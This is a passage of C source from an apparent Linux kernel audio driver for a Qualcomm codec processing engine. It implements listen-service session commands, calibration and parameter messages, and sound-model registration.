0, core->hw_info.dram_size); } schedule_dload_work: core->ssr_type = WCD_CPE_INITIALIZED; schedule_work(&core->load_fw_work); return core; fail_cpe_reset: cpe_svc_deregister(core->cpe_handle, core->cpe_reg_handle); fail_cpe_register: cpe_svc_deinitialize(core->cpe_handle); fail_cpe_initialize: kfree(core); return NULL; } EXPORT_SYMBOL(wcd_cpe_init); /* * wcd_cpe_cmi_lsm_callback: callback called from cpe services * to notify command response for lsm * service * @param: param containing the response code and status * * This callback is registered with cpe services while registering * the LSM service */ static void wcd_cpe_cmi_lsm_callback(const struct cmi_api_notification *param) { struct cmi_hdr *hdr; struct cpe_lsm_session *lsm_session; u8 session_id; if (!param) { pr_err("%s: param is null\n", __func__); return; } if (param->event != CMI_API_MSG) { pr_err("%s: unhandled event 0x%x\n", __func__, param->event); return; } hdr = (struct cmi_hdr *) param->message; session_id = CMI_HDR_GET_SESSION_ID(hdr); if (session_id > WCD_CPE_LSM_MAX_SESSIONS) { pr_err("%s: invalid lsm session id = %d\n", __func__, session_id); return; } lsm_session = lsm_sessions[session_id]; if (hdr->opcode == CPE_CMI_BASIC_RSP_OPCODE) { u8 *payload = ((u8 *)param->message) + (sizeof(struct cmi_hdr)); u8 result = payload[0]; lsm_session->cmd_err_code = result; complete(&lsm_session->cmd_comp); } else if (hdr->opcode == CPE_LSM_SESSION_CMDRSP_SHARED_MEM_ALLOC) { struct cpe_cmdrsp_shmem_alloc *cmdrsp_shmem_alloc = (struct cpe_cmdrsp_shmem_alloc *) param->message; if (cmdrsp_shmem_alloc->addr == 0) { pr_err("%s: Failed LSM shared mem alloc\n", __func__); lsm_session->cmd_err_code = CMI_SHMEM_ALLOC_FAILED; } else { pr_debug("%s LSM shared mem addr = 0x%x\n", __func__, cmdrsp_shmem_alloc->addr); lsm_session->lsm_mem_handle = cmdrsp_shmem_alloc->addr; lsm_session->cmd_err_code = 0; } complete(&lsm_session->cmd_comp); } else if (hdr->opcode == CPE_LSM_SESSION_EVENT_DETECTION_STATUS_V2) { struct cpe_lsm_event_detect_v2 *event_detect_v2 = (struct cpe_lsm_event_detect_v2 *) param->message; if (!lsm_session->priv_d) { pr_err("%s: private data is not present\n", __func__); return; } pr_debug("%s: event payload, status = %u, size = %u\n", __func__, event_detect_v2->detection_status, event_detect_v2->size); if (lsm_session->event_cb) lsm_session->event_cb( lsm_session->priv_d, event_detect_v2->detection_status, event_detect_v2->size, event_detect_v2->payload); } return; } /* * wcd_cpe_cmi_send_lsm_msg: send a message to lsm service * @core: handle to cpe core * @session: session on which to send the message * @message: actual message containing header and payload * * Sends message to lsm service for specified session and wait * for response back on the message. * should be called after acquiring session specific mutex */ static int wcd_cpe_cmi_send_lsm_msg( struct wcd_cpe_core *core, struct cpe_lsm_session *session, void *message) { int ret = 0; struct cmi_hdr *hdr = message; pr_debug("%s: sending message with opcode 0x%x\n", __func__, hdr->opcode); if (unlikely(!wcd_cpe_is_online_state(core))) { dev_err(core->dev, "%s: MSG not sent, CPE offline\n", __func__); goto done; } if (CMI_HDR_GET_OBM_FLAG(hdr)) wcd_cpe_bus_vote_max_bw(core, true); reinit_completion(&session->cmd_comp); ret = cmi_send_msg(message); if (ret) { pr_err("%s: msg opcode (0x%x) send failed (%d)\n", __func__, hdr->opcode, ret); goto rel_bus_vote; } ret = wait_for_completion_timeout(&session->cmd_comp, CMI_CMD_TIMEOUT); if (ret > 0) { pr_debug("%s: command 0x%x, received response 0x%x\n", __func__, hdr->opcode, session->cmd_err_code); if (session->cmd_err_code == CMI_SHMEM_ALLOC_FAILED) session->cmd_err_code = CPE_ENOMEMORY; if (session->cmd_err_code > 0) pr_err("%s: CPE returned error[%s]\n", __func__, cpe_err_get_err_str( session->cmd_err_code)); ret = cpe_err_get_lnx_err_code(session->cmd_err_code); goto rel_bus_vote; } else { pr_err("%s: command (0x%x) send timed out\n", __func__, hdr->opcode); ret = -ETIMEDOUT; goto rel_bus_vote; } rel_bus_vote: if (CMI_HDR_GET_OBM_FLAG(hdr)) wcd_cpe_bus_vote_max_bw(core, false); done: return ret; } /* * fill_cmi_header: fill the cmi header with specified values * * @hdr: header to be updated with values * @session_id: session id of the header, * in case of AFE service it is port_id * @service_id: afe/lsm, etc * @version: update the version field in header * @payload_size: size of the payload following after header * @opcode: opcode of the message * @obm_flag: indicates if this header is for obm message * */ static int fill_cmi_header(struct cmi_hdr *hdr, u8 session_id, u8 service_id, bool version, u8 payload_size, u16 opcode, bool obm_flag) { /* sanitize the data */ if (!IS_VALID_SESSION_ID(session_id) || !IS_VALID_SERVICE_ID(service_id) || !IS_VALID_PLD_SIZE(payload_size)) { pr_err("Invalid header creation request\n"); return -EINVAL; } CMI_HDR_SET_SESSION(hdr, session_id); CMI_HDR_SET_SERVICE(hdr, service_id); if (version) CMI_HDR_SET_VERSION(hdr, 1); else CMI_HDR_SET_VERSION(hdr, 0); CMI_HDR_SET_PAYLOAD_SIZE(hdr, payload_size); hdr->opcode = opcode; if (obm_flag) CMI_HDR_SET_OBM(hdr, CMI_OBM_FLAG_OUT_BAND); else CMI_HDR_SET_OBM(hdr, CMI_OBM_FLAG_IN_BAND); return 0; } /* * fill_lsm_cmd_header_v0_inband: * Given the header, fill the header with information * for lsm service, version 0 and inband message * @hdr: the cmi header to be filled. * @session_id: ID for the lsm session * @payload_size: size for cmi message payload * @opcode: opcode for cmi message */ static int fill_lsm_cmd_header_v0_inband(struct cmi_hdr *hdr, u8 session_id, u8 payload_size, u16 opcode) { return fill_cmi_header(hdr, session_id, CMI_CPE_LSM_SERVICE_ID, false, payload_size, opcode, false); } /* * wcd_cpe_is_valid_lsm_session: * Check session paramters to identify validity for the sesion * @core: handle to cpe core * @session: handle to the lsm session * @func: invoking function to be printed in error logs */ static int wcd_cpe_is_valid_lsm_session(struct wcd_cpe_core *core, struct cpe_lsm_session *session, const char *func) { if (unlikely(IS_ERR_OR_NULL(core))) { pr_err("%s: invalid handle to core\n", func); return -EINVAL; } if (unlikely(IS_ERR_OR_NULL(session))) { dev_err(core->dev, "%s: invalid session\n", func); return -EINVAL; } if (session->id > WCD_CPE_LSM_MAX_SESSIONS) { dev_err(core->dev, "%s: invalid session id (%u)\n", func, session->id); return -EINVAL; } dev_dbg(core->dev, "%s: session_id = %u\n", func, session->id); return 0; } static int wcd_cpe_cmd_lsm_open_tx_v2( struct wcd_cpe_core *core, struct cpe_lsm_session *session) { struct cpe_lsm_cmd_open_tx_v2 cmd_open_tx_v2; struct cal_block_data *top_cal = NULL; struct audio_cal_info_lsm_top *lsm_top; int ret = 0; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; if (core->cal_data[WCD_CPE_LSM_CAL_TOPOLOGY_ID] == NULL) { dev_err(core->dev, "%s: LSM_TOPOLOGY cal not allocated!\n", __func__); return -EINVAL; } mutex_lock(&core->cal_data[WCD_CPE_LSM_CAL_TOPOLOGY_ID]->lock); top_cal = cal_utils_get_only_cal_block( core->cal_data[WCD_CPE_LSM_CAL_TOPOLOGY_ID]); if (!top_cal) { dev_err(core->dev, "%s: Failed to get LSM TOPOLOGY cal block\n", __func__); ret = -EINVAL; goto unlock_cal_mutex; } lsm_top = (struct audio_cal_info_lsm_top *) top_cal->cal_info; if (!lsm_top) { dev_err(core->dev, "%s: cal_info for LSM_TOPOLOGY not found\n", __func__); ret = -EINVAL; goto unlock_cal_mutex; } dev_dbg(core->dev, "%s: topology_id = 0x%x, acdb_id = 0x%x, app_type = 0x%x\n", __func__, lsm_top->topology, lsm_top->acdb_id, lsm_top->app_type); if (lsm_top->topology == 0) { dev_err(core->dev, "%s: topology id not sent for app_type 0x%x\n", __func__, lsm_top->app_type); ret = -EINVAL; goto unlock_cal_mutex; } WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&cmd_open_tx_v2, 0, sizeof(struct cpe_lsm_cmd_open_tx_v2)); if (fill_lsm_cmd_header_v0_inband(&cmd_open_tx_v2.hdr, session->id, OPEN_V2_CMD_PAYLOAD_SIZE, CPE_LSM_SESSION_CMD_OPEN_TX_V2)) { ret = -EINVAL; goto end_ret; } cmd_open_tx_v2.topology_id = lsm_top->topology; ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cmd_open_tx_v2); if (ret) dev_err(core->dev, "%s: failed to send open_tx_v2 cmd, err = %d\n", __func__, ret); else session->is_topology_used = true; end_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); unlock_cal_mutex: mutex_unlock(&core->cal_data[WCD_CPE_LSM_CAL_TOPOLOGY_ID]->lock); return ret; } /* * wcd_cpe_cmd_lsm_open_tx: compose and send lsm open command * @core_handle: handle to cpe core * @session: session for which the command needs to be sent * @app_id: application id part of the command * @sample_rate: sample rate for this session */ static int wcd_cpe_cmd_lsm_open_tx(void *core_handle, struct cpe_lsm_session *session, u16 app_id, u16 sample_rate) { struct cpe_lsm_cmd_open_tx cmd_open_tx; struct wcd_cpe_core *core = core_handle; int ret = 0; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; /* Try to open with topology first */ ret = wcd_cpe_cmd_lsm_open_tx_v2(core, session); if (!ret) goto done; dev_dbg(core->dev, "%s: Try open_tx without topology\n", __func__); WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&cmd_open_tx, 0, sizeof(struct cpe_lsm_cmd_open_tx)); if (fill_lsm_cmd_header_v0_inband(&cmd_open_tx.hdr, session->id, OPEN_CMD_PAYLOAD_SIZE, CPE_LSM_SESSION_CMD_OPEN_TX)) { ret = -EINVAL; goto end_ret; } cmd_open_tx.app_id = app_id; cmd_open_tx.sampling_rate = sample_rate; ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cmd_open_tx); if (ret) dev_err(core->dev, "%s: failed to send open_tx cmd, err = %d\n", __func__, ret); end_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); done: return ret; } /* * wcd_cpe_cmd_close_tx: compose and send lsm close command * @core_handle: handle to cpe core * @session: session for which the command needs to be sent */ static int wcd_cpe_cmd_lsm_close_tx(void *core_handle, struct cpe_lsm_session *session) { struct cmi_hdr cmd_close_tx; struct wcd_cpe_core *core = core_handle; int ret = 0; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&cmd_close_tx, 0, sizeof(cmd_close_tx)); if (fill_lsm_cmd_header_v0_inband(&cmd_close_tx, session->id, 0, CPE_LSM_SESSION_CMD_CLOSE_TX)) { ret = -EINVAL; goto end_ret; } ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cmd_close_tx); if (ret) dev_err(core->dev, "%s: lsm close_tx cmd failed, err = %d\n", __func__, ret); else session->is_topology_used = false; end_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_cmd_shmem_alloc: compose and send lsm shared * memory allocation command * @core_handle: handle to cpe core * @session: session for which the command needs to be sent * @size: size of memory to be allocated */ static int wcd_cpe_cmd_lsm_shmem_alloc(void *core_handle, struct cpe_lsm_session *session, u32 size) { struct cpe_cmd_shmem_alloc cmd_shmem_alloc; struct wcd_cpe_core *core = core_handle; int ret = 0; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&cmd_shmem_alloc, 0, sizeof(cmd_shmem_alloc)); if (fill_lsm_cmd_header_v0_inband(&cmd_shmem_alloc.hdr, session->id, SHMEM_ALLOC_CMD_PLD_SIZE, CPE_LSM_SESSION_CMD_SHARED_MEM_ALLOC)) { ret = -EINVAL; goto end_ret; } cmd_shmem_alloc.size = size; ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cmd_shmem_alloc); if (ret) dev_err(core->dev, "%s: lsm_shmem_alloc cmd send fail, %d\n", __func__, ret); end_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_cmd_lsm_shmem_dealloc: deallocate the shared memory * for the specified session * @core_handle: handle to cpe core * @session: session for which memory needs to be deallocated. */ static int wcd_cpe_cmd_lsm_shmem_dealloc(void *core_handle, struct cpe_lsm_session *session) { struct cpe_cmd_shmem_dealloc cmd_dealloc; struct wcd_cpe_core *core = core_handle; int ret = 0; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); memset(&cmd_dealloc, 0, sizeof(cmd_dealloc)); if (fill_lsm_cmd_header_v0_inband(&cmd_dealloc.hdr, session->id, SHMEM_DEALLOC_CMD_PLD_SIZE, CPE_LSM_SESSION_CMD_SHARED_MEM_DEALLOC)) { ret = -EINVAL; goto end_ret; } cmd_dealloc.addr = session->lsm_mem_handle; ret = wcd_cpe_cmi_send_lsm_msg(core, session, &cmd_dealloc); if (ret) { dev_err(core->dev, "%s: lsm_shmem_dealloc cmd failed, rc %d\n", __func__, ret); goto end_ret; } memset(&session->lsm_mem_handle, 0, sizeof(session->lsm_mem_handle)); end_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_send_lsm_cal: send the calibration for lsm service * from acdb to the cpe * @core: handle to cpe core * @session: session for which the calibration needs to be set. */ static int wcd_cpe_send_lsm_cal( struct wcd_cpe_core *core, struct cpe_lsm_session *session) { u8 *msg_pld; struct cmi_hdr *hdr; struct cal_block_data *lsm_cal = NULL; void *inb_msg; int rc = 0; if (core->cal_data[WCD_CPE_LSM_CAL_LSM] == NULL) { pr_err("%s: LSM cal not allocated!\n", __func__); return -EINVAL; } mutex_lock(&core->cal_data[WCD_CPE_LSM_CAL_LSM]->lock); lsm_cal = cal_utils_get_only_cal_block( core->cal_data[WCD_CPE_LSM_CAL_LSM]); if (!lsm_cal) { pr_err("%s: failed to get lsm cal block\n", __func__); rc = -EINVAL; goto unlock_cal_mutex; } if (lsm_cal->cal_data.size == 0) { dev_dbg(core->dev, "%s: No LSM cal to send\n", __func__); rc = 0; goto unlock_cal_mutex; } inb_msg = kzalloc(sizeof(struct cmi_hdr) + lsm_cal->cal_data.size, GFP_KERNEL); if (!inb_msg) { pr_err("%s: no memory for lsm acdb cal\n", __func__); rc = -ENOMEM; goto unlock_cal_mutex; } hdr = (struct cmi_hdr *) inb_msg; rc = fill_lsm_cmd_header_v0_inband(hdr, session->id, lsm_cal->cal_data.size, CPE_LSM_SESSION_CMD_SET_PARAMS); if (rc) { pr_err("%s: invalid params for header, err = %d\n", __func__, rc); goto free_msg; } msg_pld = ((u8 *) inb_msg) + sizeof(struct cmi_hdr); memcpy(msg_pld, lsm_cal->cal_data.kvaddr, lsm_cal->cal_data.size); rc = wcd_cpe_cmi_send_lsm_msg(core, session, inb_msg); if (rc) pr_err("%s: acdb lsm_params send failed, err = %d\n", __func__, rc); free_msg: kfree(inb_msg); unlock_cal_mutex: mutex_unlock(&core->cal_data[WCD_CPE_LSM_CAL_LSM]->lock); return rc; } static void wcd_cpe_set_param_data(struct cpe_param_data *param_d, struct cpe_lsm_ids *ids, u32 p_size, u32 set_param_cmd) { param_d->module_id = ids->module_id; param_d->param_id = ids->param_id; switch (set_param_cmd) { case CPE_LSM_SESSION_CMD_SET_PARAMS_V2: param_d->p_size.param_size = p_size; break; case CPE_LSM_SESSION_CMD_SET_PARAMS: default: param_d->p_size.sr.param_size = (u16) p_size; param_d->p_size.sr.reserved = 0; break; } } static int wcd_cpe_send_param_epd_thres(struct wcd_cpe_core *core, struct cpe_lsm_session *session, void *data, struct cpe_lsm_ids *ids) { struct snd_lsm_ep_det_thres *ep_det_data; struct cpe_lsm_param_epd_thres epd_cmd; struct cmi_hdr *msg_hdr = &epd_cmd.hdr; struct cpe_param_data *param_d = &epd_cmd.param; int rc; memset(&epd_cmd, 0, sizeof(epd_cmd)); ep_det_data = (struct snd_lsm_ep_det_thres *) data; if (fill_lsm_cmd_header_v0_inband(msg_hdr, session->id, CPE_CMD_EPD_THRES_PLD_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { rc = -EINVAL; goto err_ret; } wcd_cpe_set_param_data(param_d, ids, CPE_EPD_THRES_PARAM_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2); epd_cmd.minor_version = 1; epd_cmd.epd_begin = ep_det_data->epd_begin; epd_cmd.epd_end = ep_det_data->epd_end; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); rc = wcd_cpe_cmi_send_lsm_msg(core, session, &epd_cmd); if (unlikely(rc)) dev_err(core->dev, "%s: set_param(EPD Threshold) failed, rc %dn", __func__, rc); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); err_ret: return rc; } static int wcd_cpe_send_param_opmode(struct wcd_cpe_core *core, struct cpe_lsm_session *session, void *data, struct cpe_lsm_ids *ids) { struct snd_lsm_detect_mode *opmode_d; struct cpe_lsm_param_opmode opmode_cmd; struct cmi_hdr *msg_hdr = &opmode_cmd.hdr; struct cpe_param_data *param_d = &opmode_cmd.param; int rc; memset(&opmode_cmd, 0, sizeof(opmode_cmd)); opmode_d = (struct snd_lsm_detect_mode *) data; if (fill_lsm_cmd_header_v0_inband(msg_hdr, session->id, CPE_CMD_OPMODE_PLD_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { rc = -EINVAL; goto err_ret; } wcd_cpe_set_param_data(param_d, ids, CPE_OPMODE_PARAM_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2); opmode_cmd.minor_version = 1; if (opmode_d->mode == LSM_MODE_KEYWORD_ONLY_DETECTION) opmode_cmd.mode = 1; else opmode_cmd.mode = 3; if (opmode_d->detect_failure) opmode_cmd.mode |= 0x04; opmode_cmd.reserved = 0; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); rc = wcd_cpe_cmi_send_lsm_msg(core, session, &opmode_cmd); if (unlikely(rc)) dev_err(core->dev, "%s: set_param(operation_mode) failed, rc %dn", __func__, rc); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); err_ret: return rc; } static int wcd_cpe_send_param_gain(struct wcd_cpe_core *core, struct cpe_lsm_session *session, void *data, struct cpe_lsm_ids *ids) { struct snd_lsm_gain *gain_d; struct cpe_lsm_param_gain gain_cmd; struct cmi_hdr *msg_hdr = &gain_cmd.hdr; struct cpe_param_data *param_d = &gain_cmd.param; int rc; memset(&gain_cmd, 0, sizeof(gain_cmd)); gain_d = (struct snd_lsm_gain *) data; if (fill_lsm_cmd_header_v0_inband(msg_hdr, session->id, CPE_CMD_GAIN_PLD_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { rc = -EINVAL; goto err_ret; } wcd_cpe_set_param_data(param_d, ids, CPE_GAIN_PARAM_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2); gain_cmd.minor_version = 1; gain_cmd.gain = gain_d->gain; gain_cmd.reserved = 0; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); rc = wcd_cpe_cmi_send_lsm_msg(core, session, &gain_cmd); if (unlikely(rc)) dev_err(core->dev, "%s: set_param(lsm_gain) failed, rc %dn", __func__, rc); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); err_ret: return rc; } static int wcd_cpe_send_param_connectport(struct wcd_cpe_core *core, struct cpe_lsm_session *session, void *data, struct cpe_lsm_ids *ids, u16 port_id) { struct cpe_lsm_param_connectport con_port_cmd; struct cmi_hdr *msg_hdr = &con_port_cmd.hdr; struct cpe_param_data *param_d = &con_port_cmd.param; int rc; memset(&con_port_cmd, 0, sizeof(con_port_cmd)); if (fill_lsm_cmd_header_v0_inband(msg_hdr, session->id, CPE_CMD_CONNECTPORT_PLD_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { rc = -EINVAL; goto err_ret; } wcd_cpe_set_param_data(param_d, ids, CPE_CONNECTPORT_PARAM_SIZE, CPE_LSM_SESSION_CMD_SET_PARAMS_V2); con_port_cmd.minor_version = 1; con_port_cmd.afe_port_id = port_id; con_port_cmd.reserved = 0; WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); rc = wcd_cpe_cmi_send_lsm_msg(core, session, &con_port_cmd); if (unlikely(rc)) dev_err(core->dev, "%s: set_param(connect_port) failed, rc %dn", __func__, rc); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); err_ret: return rc; } static int wcd_cpe_send_param_conf_levels( struct wcd_cpe_core *core, struct cpe_lsm_session *session, struct cpe_lsm_ids *ids) { struct cpe_lsm_conf_level conf_level_data; struct cmi_hdr *hdr = &(conf_level_data.hdr); struct cpe_param_data *param_d = &(conf_level_data.param); u8 pld_size = 0; u8 pad_bytes = 0; void *message; int ret = 0; memset(&conf_level_data, 0, sizeof(conf_level_data)); pld_size = (sizeof(struct cpe_lsm_conf_level) - sizeof(struct cmi_hdr)); pld_size += session->num_confidence_levels; pad_bytes = ((4 - (pld_size % 4)) % 4); pld_size += pad_bytes; fill_cmi_header(hdr, session->id, CMI_CPE_LSM_SERVICE_ID, false, pld_size, CPE_LSM_SESSION_CMD_SET_PARAMS_V2, false); wcd_cpe_set_param_data(param_d, ids, pld_size - sizeof(struct cpe_param_data), CPE_LSM_SESSION_CMD_SET_PARAMS_V2); conf_level_data.num_active_models = session->num_confidence_levels; message = kzalloc(sizeof(struct cpe_lsm_conf_level) + conf_level_data.num_active_models + pad_bytes, GFP_KERNEL); if (!message) { pr_err("%s: no memory for conf_level\n", __func__); return -ENOMEM; } memcpy(message, &conf_level_data, sizeof(struct cpe_lsm_conf_level)); memcpy(((u8 *) message) + sizeof(struct cpe_lsm_conf_level), session->conf_levels, conf_level_data.num_active_models); WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); ret = wcd_cpe_cmi_send_lsm_msg(core, session, message); if (ret) pr_err("%s: lsm_set_conf_levels failed, err = %d\n", __func__, ret); kfree(message); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } static int wcd_cpe_send_param_snd_model(struct wcd_cpe_core *core, struct cpe_lsm_session *session, struct cpe_lsm_ids *ids) { int ret = 0; struct cmi_obm_msg obm_msg; struct cpe_param_data *param_d; ret = fill_cmi_header(&obm_msg.hdr, session->id, CMI_CPE_LSM_SERVICE_ID, 0, 20, CPE_LSM_SESSION_CMD_SET_PARAMS_V2, true); if (ret) { dev_err(core->dev, "%s: Invalid parameters, rc = %d\n", __func__, ret); goto err_ret; } obm_msg.pld.version = 0; obm_msg.pld.size = session->snd_model_size; obm_msg.pld.data_ptr.kvaddr = session->snd_model_data; obm_msg.pld.mem_handle = session->lsm_mem_handle; param_d = (struct cpe_param_data *) session->snd_model_data; wcd_cpe_set_param_data(param_d, ids, (session->snd_model_size - sizeof(*param_d)), CPE_LSM_SESSION_CMD_SET_PARAMS_V2); WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); ret = wcd_cpe_cmi_send_lsm_msg(core, session, &obm_msg); if (ret) dev_err(core->dev, "%s: snd_model_register failed, %d\n", __func__, ret); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); err_ret: return ret; } static int wcd_cpe_send_param_dereg_model( struct wcd_cpe_core *core, struct cpe_lsm_session *session, struct cpe_lsm_ids *ids) { struct cmi_hdr *hdr; struct cpe_param_data *param_d; u8 *message; u32 pld_size; int rc = 0; pld_size = sizeof(*hdr) + sizeof(*param_d); message = kzalloc(pld_size, GFP_KERNEL); if (!message) return -ENOMEM; hdr = (struct cmi_hdr *) message; param_d = (struct cpe_param_data *) (((u8 *) message) + sizeof(*hdr)); if (fill_lsm_cmd_header_v0_inband(hdr, session->id, sizeof(*param_d), CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { rc = -EINVAL; goto err_ret; } wcd_cpe_set_param_data(param_d, ids, 0, CPE_LSM_SESSION_CMD_SET_PARAMS_V2); WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); rc = wcd_cpe_cmi_send_lsm_msg(core, session, message); if (rc) dev_err(core->dev, "%s: snd_model_deregister failed, %d\n", __func__, rc); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); err_ret: kfree(message); return rc; } static int wcd_cpe_send_custom_param( struct wcd_cpe_core *core, struct cpe_lsm_session *session, void *data, u32 msg_size) { u8 *msg; struct cmi_hdr *hdr; u8 *msg_pld; int rc; if (msg_size > CMI_INBAND_MESSAGE_SIZE) { dev_err(core->dev, "%s: out of band custom params not supported\n", __func__); return -EINVAL; } msg = kzalloc(sizeof(*hdr) + msg_size, GFP_KERNEL); if (!msg) return -ENOMEM; hdr = (struct cmi_hdr *) msg; msg_pld = msg + sizeof(struct cmi_hdr); if (fill_lsm_cmd_header_v0_inband(hdr, session->id, msg_size, CPE_LSM_SESSION_CMD_SET_PARAMS_V2)) { rc = -EINVAL; goto err_ret; } memcpy(msg_pld, data, msg_size); WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); rc = wcd_cpe_cmi_send_lsm_msg(core, session, msg); if (rc) dev_err(core->dev, "%s: custom params send failed, err = %d\n", __func__, rc); WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); err_ret: kfree(msg); return rc; } static int wcd_cpe_set_one_param(void *core_handle, struct cpe_lsm_session *session, struct lsm_params_info *p_info, void *data, enum LSM_PARAM_TYPE param_type) { struct wcd_cpe_core *core = core_handle; int rc = 0; struct cpe_lsm_ids ids; memset(&ids, 0, sizeof(ids)); ids.module_id = p_info->module_id; ids.param_id = p_info->param_id; switch (param_type) { case LSM_ENDPOINT_DETECT_THRESHOLD: rc = wcd_cpe_send_param_epd_thres(core, session, data, &ids); break; case LSM_OPERATION_MODE: rc = wcd_cpe_send_param_opmode(core, session, data, &ids); break; case LSM_GAIN: rc = wcd_cpe_send_param_gain(core, session, data, &ids); break; case LSM_MIN_CONFIDENCE_LEVELS: rc = wcd_cpe_send_param_conf_levels(core, session, &ids); break; case LSM_REG_SND_MODEL: rc = wcd_cpe_send_param_snd_model(core, session, &ids); break; case LSM_DEREG_SND_MODEL: rc = wcd_cpe_send_param_dereg_model(core, session, &ids); break; case LSM_CUSTOM_PARAMS: rc = wcd_cpe_send_custom_param(core, session, data, p_info->param_size); break; default: pr_err("%s: wrong param_type 0x%x\n", __func__, p_info->param_type); } if (rc) dev_err(core->dev, "%s: send_param(%d) failed, err %d\n", __func__, p_info->param_type, rc); return rc; } /* * wcd_cpe_lsm_set_params: set the parameters for lsm service * @core: handle to cpe core * @session: session for which the parameters are to be set * @detect_mode: mode for detection * @detect_failure: flag indicating failure detection enabled/disabled * */ static int wcd_cpe_lsm_set_params(struct wcd_cpe_core *core, struct cpe_lsm_session *session, enum lsm_detection_mode detect_mode, bool detect_failure) { struct cpe_lsm_ids ids; struct snd_lsm_detect_mode det_mode; int ret = 0; /* Send lsm calibration */ ret = wcd_cpe_send_lsm_cal(core, session); if (ret) { pr_err("%s: fail to sent acdb cal, err = %d", __func__, ret); goto err_ret; } /* Send operation mode */ ids.module_id = CPE_LSM_MODULE_ID_VOICE_WAKEUP; ids.param_id = CPE_LSM_PARAM_ID_OPERATION_MODE; det_mode.mode = detect_mode; det_mode.detect_failure = detect_failure; ret = wcd_cpe_send_param_opmode(core, session, &det_mode, &ids); if (ret) dev_err(core->dev, "%s: Failed to set opmode, err=%d\n", __func__, ret); err_ret: return ret; } static int wcd_cpe_lsm_set_data(void *core_handle, struct cpe_lsm_session *session, enum lsm_detection_mode detect_mode, bool detect_failure) { struct wcd_cpe_core *core = core_handle; struct cpe_lsm_ids ids; int ret = 0; if (session->num_confidence_levels > 0) { ret = wcd_cpe_lsm_set_params(core, session, detect_mode, detect_failure); if (ret) { dev_err(core->dev, "%s: lsm set params failed, rc = %d\n", __func__, ret); goto err_ret; } ids.module_id = CPE_LSM_MODULE_ID_VOICE_WAKEUP; ids.param_id = CPE_LSM_PARAM_ID_MIN_CONFIDENCE_LEVELS; ret = wcd_cpe_send_param_conf_levels(core, session, &ids); if (ret) { dev_err(core->dev, "%s: lsm confidence levels failed, rc = %d\n", __func__, ret); goto err_ret; } } else { dev_dbg(core->dev, "%s: no conf levels to set\n", __func__); } err_ret: return ret; } /* * wcd_cpe_lsm_reg_snd_model: register the sound model for listen * @session: session for which to register the sound model * @detect_mode: detection mode, user dependent/independent * @detect_failure: flag to indicate if failure detection is enabled * * The memory required for sound model should be pre-allocated on CPE * before this function is invoked. */ static int wcd_cpe_lsm_reg_snd_model(void *core_handle, struct cpe_lsm_session *session, enum lsm_detection_mode detect_mode, bool detect_failure) { int ret = 0; struct cmi_obm_msg obm_msg; struct wcd_cpe_core *core = core_handle; ret = wcd_cpe_is_valid_lsm_session(core, session, __func__); if (ret) return ret; ret = wcd_cpe_lsm_set_data(core_handle, session, detect_mode, detect_failure); if (ret) { dev_err(core->dev, "%s: fail to set lsm data, err = %d\n", __func__, ret); return ret; } WCD_CPE_GRAB_LOCK(&session->lsm_lock, "lsm"); ret = fill_cmi_header(&obm_msg.hdr, session->id, CMI_CPE_LSM_SERVICE_ID, 0, 20, CPE_LSM_SESSION_CMD_REGISTER_SOUND_MODEL, true); if (ret) { dev_err(core->dev, "%s: Invalid parameters, rc = %d\n", __func__, ret); goto err_ret; } obm_msg.pld.version = 0; obm_msg.pld.size = session->snd_model_size; obm_msg.pld.data_ptr.kvaddr = session->snd_model_data; obm_msg.pld.mem_handle = session->lsm_mem_handle; ret = wcd_cpe_cmi_send_lsm_msg(core, session, &obm_msg); if (ret) dev_err(core->dev, "%s: snd_model_register failed, %d\n", __func__, ret); err_ret: WCD_CPE_REL_LOCK(&session->lsm_lock, "lsm"); return ret; } /* * wcd_cpe_lsm_dereg_snd_model: deregister the sound 